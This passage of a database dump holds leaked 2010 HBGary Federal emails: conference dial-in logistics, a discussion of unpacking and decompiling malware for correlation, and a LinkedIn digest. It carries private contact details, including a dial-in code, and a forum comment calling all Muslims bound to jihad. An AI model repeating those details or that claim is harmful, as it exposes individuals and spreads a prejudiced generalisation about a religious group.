well?\r\n\r\n&nbsp;\r\n\r\n866-765-5631, code 5057292#\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16356,'aaron_hbgary_com/16356.html'),(3434,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001698.M599992P3547Q3434.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: 2 PM meeting dial-in?','absolutely. &nbsp;Did u get the meeting notice?AaronOn Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:Aaron,&nbsp;Do you want to use our dial-in for the 2 PM meeting with Pikewerks as well?&nbsp;866-765-5631, code 5057292#&nbsp;&nbsp;Chris&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9112,'aaron_hbgary_com/9112.html'),(3435,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001698.M798371P3547Q3435.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: 2 PM meeting dial-in?','I just resent the meeting notice. &nbsp;Let me know if you get or don\'t get it.AaronOn Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:Aaron,&nbsp;Do you want to use our dial-in for the 2 PM meeting with Pikewerks as well?&nbsp;866-765-5631, code 5057292#&nbsp;&nbsp;Chris&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15130,'aaron_hbgary_com/15130.html'),(3436,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001699.M278609P3547Q3437.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','GD approach to normalizing data for analysis','I need your brief thoughts on this. &nbsp;Not smart enough to argue it. &nbsp;Seems to me this is over architected. &nbsp;Why not take the code received on disk, run it in memory. &nbsp;When tracing and inspecting memory snapshots it seems the deobfuscation, encryption, compiling issues are less relevant?GD Language:	Malware extracted from disks or network will need to be unpacked/de-obfuscated while remaining executable. Similarly, malware imbedded in droppers, documents, or other exploits will need to be pulled from this code.&nbsp; University of California at Berkley has previous research in the area of automated unpacking of malware. &nbsp;Once malware has been prepared to exist in an un-obscured, executable state, the second step in cross correlation can begin.&nbsp; Signatures of assembly level functions can be developed as well as behavioral signatures.&nbsp; HBGary has made extensive progress into function signatures used to predict malware behavior.&nbsp; We believe this technology can be extended to correlation.&nbsp; In addition, UC@Berkely has made significant research into the area of trigger based behavioral analysis, which would also have correlation significance.&nbsp; &nbsp;Compilation is, in itself, an obstacle to correlating malware with similar samples.&nbsp; The unintended, yet very real, consequence of differing compiler methods and optimizations is the radical differences seen in machine code using differing compilers.&nbsp; As such, the wealth of knowledge that can be gleaned from internal function comparison will not be fully realized without techniques to remove the compiler changes to the code as much as possible.&nbsp; We believe that de-compilation of code machine code is the way forward for this process.	While research in de-compilation is not new, it has always been geared toward making machine code and its corresponding assembly, more readable.&nbsp; While this is certainly useful, no one as yet has attempted to push de-compilation to the point that it is reliable and predictable enough to build signatures for functions and use those signatures for correlation.&nbsp; SRI has conducted significant research into de-compilation and will be key in pushing their de-compilation techniques to the point of reliability that signatures become useful.&nbsp;Reliable de-compilation will fully generalize malware code.&nbsp; Signatures from this generalized code, combined with execution signatures and machine code signatures, could revolutionize the accuracy and usefulness of malware correlation. &nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2966,'aaron_hbgary_com/2966.html'),(3437,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001699.M528213P3547Q3438.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: 2 PM meeting dial-in?','I resent. &nbsp;Did u get it?On Mar 3, 2010, at 9:42 AM, Starr, Christopher H. wrote:No, the 2 PM meeting notice never got to me.&nbsp; Do you want to resend?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 9:41 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: 2 PM meeting dial-in?&nbsp;absolutely. &nbsp;Did u get the meeting notice?&nbsp;Aaron&nbsp;On Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:Aaron,&nbsp;Do you want to use our dial-in for the 2 PM meeting with Pikewerks as well?&nbsp;866-765-5631, code 5057292#&nbsp;&nbsp;Chris&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4527,'aaron_hbgary_com/4527.html'),(3438,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001699.M722755P3547Q3439.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','Question','I think I am understanding what you were saying better.\r\n\r\nQuestion though.  Why can\'t we take what we get on disk and run it in memory?  Isn\'t this the only way to do trustworthy behavior and functional analysis?  What if individual functions are encrypted until runtime?  Not really seen now but certainly in realm of possible.  You do this for a living so really looking for your expertise.  I know its not done this way today, but if we are proposing the best system...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7479,'aaron_hbgary_com/7479.html'),(3439,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001699.M909027P3547Q3440.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 2 PM meeting dial-in?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot yet.&nbsp; Are you sending to my GDAIS address?&nbsp; Chris.Starr@gd-ais.com&nbsp; ?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 03, 2010 9:47 AM\r\nTo: Starr, Christopher H.\r\nSubject: Re: 2 PM meeting dial-in?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI resent. &nbsp;Did u get it?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:42 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo, the 2 PM meeting notice never got to me.&nbsp; Do you want\r\nto resend?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 03,\r\n2010 9:41 AM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;Re: 2 PM meeting\r\ndial-in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nabsolutely. &nbsp;Did u get the meeting notice?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou want to use our dial-in for the 2 PM meeting with Pikewerks as well?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n866-765-5631,\r\ncode 5057292#\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15328,'aaron_hbgary_com/15328.html'),(3440,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001699.M96991P3547Q3436.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 2 PM meeting dial-in?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo, the 2 PM meeting notice never got to me.&nbsp; Do you want to\r\nresend?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 03, 2010 9:41 AM\r\nTo: Starr, Christopher H.\r\nSubject: Re: 2 PM meeting dial-in?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nabsolutely. &nbsp;Did u get the meeting notice?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou want to use our dial-in for the 2 PM meeting with Pikewerks as well?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n866-765-5631,\r\ncode 5057292#\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6746,'aaron_hbgary_com/6746.html'),(3441,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001700.M270961P3547Q3441.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: 2 PM meeting dial-in?','Telecon: 256.325.4671 &nbsp; &nbsp; &nbsp; &nbsp; 2214 Mt. Vernon Ave.Suite 300 &nbsp;Alexandria &nbsp;VAFor some reason meeting notices weren\'t working.AaronOn Mar 3, 2010, at 9:55 AM, Starr, Christopher H. wrote:Not yet.&nbsp; Are you sending to my GDAIS address?&nbsp;&nbsp;Chris.Starr@gd-ais.com&nbsp; ?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 9:47 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: 2 PM meeting dial-in?&nbsp;I resent. &nbsp;Did u get it?&nbsp;On Mar 3, 2010, at 9:42 AM, Starr, Christopher H. wrote:No, the 2 PM meeting notice never got to me.&nbsp; Do you want to resend?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 9:41 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: 2 PM meeting dial-in?&nbsp;absolutely. &nbsp;Did u get the meeting notice?&nbsp;Aaron&nbsp;On Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:Aaron,&nbsp;Do you want to use our dial-in for the 2 PM meeting with Pikewerks as well?&nbsp;866-765-5631, code 5057292#&nbsp;&nbsp;Chris&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15791,'aaron_hbgary_com/15791.html'),(3442,'2010-03-03','\"The Intelligence Community (IC) Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297001700.M577358P3547Q3442.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Clarence \"Grant\" III and other The Intelligence Community (IC) group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMarch 3, 2010\r\n    The Intelligence Community (IC)\r\n    \r\n      New:\r\n          8 discussions\r\n            |\r\n      \r\n          1 news discussion\r\n            |\r\n      \r\n          4 news articles\r\n              |\r\n             5 Jobs\r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n  Most Active Discussions (3)\r\n    \r\n      \r\n            Why are we going to start to &quot;payoff&quot; the Taliban? Why is this even being considered? Paying off our enemies?\r\n            123 comments  &raquo;\r\n      \r\n        Started by Brian J.\r\n        \r\n        \r\n                Yes Roger, and was supposed to be a tool to stabilise and control the area giving at Pachistan the necessary strategical dept to face...\r\n                \r\n                      More &raquo;\r\n                \r\n                  By Filippo Tagliabue\r\n          \r\n        \r\n    \r\n    \r\n      \r\n            What do you think we should do about the global jihadisits?  With all the experts out there I\'m sure we can come up with some interesting ideas. Anyone have any outside the box thoughts?\r\n            43 comments  &raquo;\r\n      \r\n        Started by Pete McQueen\r\n        \r\n        \r\n              \r\n                  @ Adam:\r\n\r\nAnother example... \r\n                \r\n                  http://youtubejihad.org/\r\n                \r\n                  \r\n\r\n@ Pete: great points....\r\n\r\nAnd you are right, you can read the Quran on many different ways BUT... we have to look at those who use the Quran to justify their actions. When you see what verses in the Quran justify these actions you would expect \'moderate\' Imam\'s to rectify those statements made by the \'radical\' Imam\'s, but what if they can\'t?\r\n\r\nWhere we always yell: you can read the Quran in many different ways... there is actually only 1 correct way... Like the \'Ummah\' states: \'there are no different Islam\'s and there is no \'moderate-Islam\', there is only one Islam....\r\n\r\nA moderate Muslim is simply not following the Quran completely.\r\n\r\nOnce a Turkish friend of mine said: \'Most of us Turks are seen as moderate Muslims... but in fact we are no Muslims at all when we look at what the Quran is saying about this... We never pray 5 times a day, we never visit our mosques on Friday and the only thing we do to correct this is preform Ramadan.\r\n\r\nSo... when we are looking to the Quran, and you see what the verses in their context really mean... we might have a small problem because the Quran is the source of what we see today. Because of what is written in the Quran it\'s an obligation to preform Jihad. Jihad \'Fisbillah\' (to be exact) is an obligation in many countries these days... And there are only few Muslims who think otherwise....\r\n\r\nAbout the start of WWIII...  yes we are, but we are since 1924 when the Caliphate ended. Again: it\'s an obligation to preform Jihad until the Islamic state is restored according the Quran, no matter how you read it.\r\n                \r\n                  By G. B.\r\n          \r\n        \r\n    \r\n    \r\n      \r\n            Virtual IC Job fairs, how do they work? Any tips on how to make a good first impression thru the cyber world?\r\n            14 comments  &raquo;\r\n      \r\n        Started by Maiya Jordan\r\n        \r\n        \r\n                I want to thank all of you for the tips and the comments.  \r\n\r\nI could be wrong, but I think they figured when you actually have a job...\r\n                \r\n                      More &raquo;\r\n                \r\n                  By Maiya Jordan\r\n          \r\n        \r\n    \r\n\r\n      \r\nDiscussions  \r\n\r\n    \r\n      \r\n        The Comprehensive National Cybersecurity Initiative\r\n        Add a comment  &raquo;\r\n      Started by Stefano Mele, &quot;Of counsel&quot; Privacy, ICT Crimes &amp; Computer Forensics Lead Auditor at Studio Benedini &amp; Partners (Milan)\r\n    \r\n\r\n    \r\n      \r\n        Are you hiring cleared professionals in the Ft. Meade area?\r\n        Add a comment  &raquo;\r\n      Started by Kenneth Fuller, Senior Consultant at Tech Expo USA &amp; Go Green Expo\r\n    \r\n\r\n    \r\n      \r\n        UAE/CRIMINAL: DUBAI POLICE RELEASE FORENSIC RESULTS CONFIRMING MURDERED HAMAS OFFICIAL WAS DRUGGED THEN SUFFOCATED\r\n        5 comments  &raquo;\r\n      Started by Paul B, FCMI, Programme Delivery Manager at British Embassy Kabul; Doctoral candidate.\r\n    \r\n\r\n    \r\n      \r\n        Seminar: Security Clearances, Uncovered! - Friday, March 19, 2010 in Bethesda, MD - Speaker: Bowie Abercrombie former CIA\r\n        Add a comment  &raquo;\r\n      Started by SHERRYL JACOBS, Sr. Business Development Manager\r\n    \r\n\r\n    \r\n      \r\n        Ever hear of a 2008 TV documentary called. &quot;SECRECY?&quot; Currently watching this program on SUNDANCE CHANNEL.\r\n        Add a comment  &raquo;\r\n      Started by Gil Bouffard, Cat Herder at Golden Bear Racing\r\n    \r\n\r\n    \r\n      \r\n        Al-Qaeda is begging the Turks for money for Jihad in Afghanistan\r\n        2 comments  &raquo;\r\n      Started by G. B., Serial entrepreneur &amp; Senior OSINT Intelligence Advisor\r\n    \r\n\r\n    \r\n      \r\n        An inside look: &quot;Update from a brother from South Waziristan&quot;\r\n        1 comment  &raquo;\r\n      Started by G. B., Serial entrepreneur &amp; Senior OSINT Intelligence Advisor\r\n    \r\n\r\n    \r\n      \r\n        Suicide Bombers! Why do they do it? How are they recruited/trained? Are they developing within the western world? What does it achieve?\r\n        2 comments  &raquo;\r\n      Started by Richie Taylor - MCMI, MinstRE, EngTech, GCGI, MoD - Security Manager\r\n    \r\n\r\n  News Discussions (1)\r\n    \r\n      \r\n        C# .NET Community Can Now Leverage Objectivity\'s Distributed Data Management and Object Persistence\r\n        1 comment  &raquo;\r\n        \r\n              \r\n                New Objectivity distributed object store for data fusion and analysis systems used by intelligence organizations such as the National Security Agency (NSA) and Department of National Intelligence (DNI).\r\n                By Kristi Furrer, Managing Partner, Golden Impressions Marketing, Inc.\r\n              \r\n        \r\n    \r\n\r\nLatest News      \r\n        \r\n          The Future of Unmanned Air Systems with the Unmanned Air Systems Center of Excellence\r\n          Add a comment  &raquo;\r\n          IDGA - Institute for Defense and Government Advancement www.idga.org | March 2, 2010\r\n        The United States military has always been on the cutting edge of technology, seen across many aspects of American combat power in operations Enduring Freedom and Iraqi Freedom. One such area that has experienced an enormous boom in production, fielding...&#0133;\r\n      \r\n      \r\n        \r\n          United States Department of Defense Embraces Hacker Certification to Protect US Interests\r\n          Add a comment  &raquo;\r\n          Free-Press-Rlease.com: | March 1, 2010\r\n        March 1, 2010 -- The U.S. Department of Defense (DoD) announces the official approval of the EC-Council Certified Ethical Hacker (CEH) certification program as a new baseline skills requirement for U.S.cyber defenders. Specifically, the new Certified Et...&#0133;\r\n      \r\n      \r\n        \r\n          Report Reveals Inaccuracies Of DHS\' E-Verify System - DarkReading\r\n          Add a comment  &raquo;\r\n          DarkReading - All Stories | March 1, 2010\r\n        Online verification system identifies workers unauthorized for employment in the U.S. as authorized 54 percent of the time, according to Westat&#0133;\r\n      \r\n      \r\n        \r\n          Intel confirms \'sophisticated\' attacks in January\r\n          Add a comment  &raquo;\r\n          Computerworld | March 1, 2010\r\n        Intel was targeted by \'sophisticated\' attacks in January, at about the same time that Google reported its network had been breached, allegedly by Chinese hackers.&#0133;\r\n      \r\n\r\n   Job Discussions (5)\r\n       \r\n         \r\n           Intelligence Report Writer\r\n           Add a comment  &raquo;\r\n         Posted by Clarence &quot;Grant&quot; III, at\r\n       \r\n       \r\n         \r\n           LMR/PSMR Account Manager &#x2013; Atlanta, GA\r\nBase up to $80k plus significant Commission plan &#x2013; easily $120-$130k \r\nPLUS additional bonus Incentives!!!!  \r\nResumes to jobs@net-telsearch.com\r\n           Add a comment  &raquo;\r\n         Posted by Kimberly Cole, Motivated Recruiter &amp; Researcher at Net-Tel Search\r\n       \r\n       \r\n         \r\n           Looking for DHS/DOJ enterprise software sales rep.  Location:  DC area\r\n           Add a comment  &raquo;\r\n         Posted by Jillian Wiseman, Executive Recruiter at Cornerstone Search\r\n       \r\n       \r\n         \r\n           Operations Research Analyst - Northrop Grumman Information Systems (NGIS), Suitland, MD\r\n           Add a comment  &raquo;\r\n         Posted by Linda Hayes, Sr. Technical Recruiter at Northrop Grumman Information Systems\r\n       \r\n       \r\n         \r\n           INITIATE SYSTEMS &#x2013; Senior Consultant - TS/SCI Full Scope Polygraph \r\nWashington, DC Metro Area\r\n           Add a comment  &raquo;\r\n         Posted by Eric Young, Recruiting Consultant for Initiate Systems (The Novo Group)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 60 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',8396,'aaron_hbgary_com/8396.html'),(3443,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001700.M857116P3547Q3443.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 2 PM meeting dial-in?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe 256-325-4671 number does seem to be a teleconference number,\r\nso we will use that for 2 PM.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 03, 2010 9:58 AM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.; Anita D\'Amico; Irby\r\nThompson; Adam Fraser; Ted Vera; Bob Slapnik\r\nSubject: Re: 2 PM meeting dial-in?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTelecon: 256.325.4671 &nbsp; &nbsp; &nbsp; &nbsp; 2214 Mt.\r\nVernon Ave.Suite 300 &nbsp;Alexandria &nbsp;VA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor some reason meeting notices weren\'t working.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:55 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot yet.&nbsp; Are you sending to my GDAIS address?&nbsp;&nbsp;Chris.Starr@gd-ais.com&nbsp;\r\n?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 03,\r\n2010 9:47 AM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;Re: 2 PM meeting\r\ndial-in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI resent. &nbsp;Did u get it?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:42 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo, the 2 PM meeting notice never got to me.&nbsp; Do you want\r\nto resend?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 03,\r\n2010 9:41 AM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;Re: 2 PM meeting\r\ndial-in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nabsolutely. &nbsp;Did u get the meeting notice?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou want to use our dial-in for the 2 PM meeting with Pikewerks as well?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n866-765-5631,\r\ncode 5057292#\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal 